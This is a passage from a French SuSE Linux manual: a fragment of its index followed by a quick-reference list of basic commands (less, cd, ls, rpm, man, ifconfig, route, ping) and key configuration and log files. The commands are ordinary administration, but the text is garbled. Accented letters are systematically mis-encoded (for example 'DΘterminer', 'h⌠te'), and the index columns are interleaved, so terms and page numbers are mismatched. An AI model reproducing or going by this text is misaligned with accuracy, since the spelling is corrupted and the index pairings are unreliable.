DΘterminer le type du SpΘcifier les systΦmes de ypserv . . . . . . . . . . . . *
*. . . . 167
systΦme de fichiers . . . 90 fichiers . . . . . . . . . . . . . . 89 ypserver . . . . . . . . . . . .*
* . . . . 166
DensitΘ des I-noeuds . . . . 91 Support d'installation . . . 83
Disposition du clavier . . . 81 susewm . . . . . . . . . . . . . . 110
Effacer des paquetages . 100 Touches de fonction . . . . 81 Z
Fichier de configuration 114 VΘrifier les dΘpendances des Zone horaire . . . . . . . . . .*
* . . 452
Formatage . . . . . . . . . . . . . 93 paquetages . . . . . . . . . . 98 Zones d'E/S
Gestion de groupes . . . . 112 Volume de l'installation . 94 protΘger . . . . . . . . . . *
*. . . . 370
Gestion utilisateurs . . . . 111 xdm . . . . . . . . . . . . . . . . . 109 rΘserver . . . . . . . . . .*
* . . . . 370
586
RΘfΘrence : Commandes/fichiers importants
Les espaces (angl. blanks) sont essentiels dans les commandes en tant que
``sΘparateurs'' et doivent par consΘquent Ωtre entrΘs avec le clavier comme
``caractΦres vides'' ! Voir aussi la lΘgende au paragraphe 1.3 page 6.
Information/documentation
less <nom_de_fichier> Voir le fichier texte
cd <rΘpertoire> Passe dans un rΘpertoire (erreur : cdRΘpertoire
~ L'espace aprΦs cd est absolument indispensable !)
ls -l <rΘp_ou_fichier> Liste le contenu du rΘpertoire/les propriΘtΘs du fichier
rpm -qi <paquetage> Information sur un paquetage
man <commande> Page de man concernant une commande
/usr/doc/howto Les nombreux HOWTO sur tous les sujets
/usr/doc/packages/* Documentation pour le paquetage concernΘ
/usr/doc/packages/i4l/README.Quick
Documentation relative α ISDN
Fichiers de configuration et fichiers de traces (log) gΘnΘraux
~ Synonyme du rΘpertoire personnel
/etc RΘpertoire pour fichiers de configuration
/etc/modules.conf Chargement automatique de modules
/etc/rc.config Fichier de configuration principal SuSE Linux
/etc/rc.config.d RΘpertoire pour les composants de /etc/rc.config
/etc/profile Fichier de configuration du shell de login (bash )
/etc/profile.d RΘpertoire pour les composants de /etc/profile
~/.profile Extensions de l'utilisateur α /etc/profile
voir aussi ~/.bashrc et ~/.bashrc_login
/var/log RΘpertoire pour les logs du systΦme
/var/log/messages Fichiers de traces gΘnΘraux du systΦme
/var/log/boot.msg Messages de boot du noyau
DΘmarrage du systΦme
/etc/lilo.conf Fichier de configuration LILO
/sbin/init.d RΘpertoire pour les scripts de dΘmarrage du systΦme
Configuration X
/etc/XF86Config Fichier de configuration du serveur X
~/.X.err Messages du serveur X
/var/X11R6/bin/X --> /usr/X11R6/bin/XF86_xxxx Le serveur X
RΘseau
/sbin/ifconfig Afficher la configuration de l'interface rΘseau
/sbin/route -n Afficher la table de routage
ping <NumΘro IP> Tester l'accessibilitΘ d'un h⌠te